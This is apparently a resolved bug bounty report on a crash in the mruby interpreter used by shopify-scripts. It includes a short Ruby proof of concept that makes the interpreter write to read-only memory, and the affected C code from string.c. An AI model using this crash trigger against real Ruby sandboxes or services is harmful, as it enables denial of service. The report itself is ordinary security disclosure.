Loading HuntDB...

mrb_str_modify try to write to memory not marked for writing

S
shopify-scripts
Submitted None
Reported by marotagem_vrt

Vulnerability Details

Technical details and impact analysis

Uncontrolled Resource Consumption
The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing. ``` a = Time.new.zone a.rstrip! GC.start a.next! ``` Code https://github.com/mruby/mruby/blob/5289b4ba117e66bdef1438ca754c894508a2447b/src/string.c#L668 ``` if (shared->refcnt == 1 && s->as.heap.ptr == shared->ptr) { s->as.heap.ptr = shared->ptr; s->as.heap.aux.capa = shared->len; RSTR_PTR(s)[s->as.heap.len] = '\0'; mrb_free(mrb, shared); } ```

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Uncontrolled Resource Consumption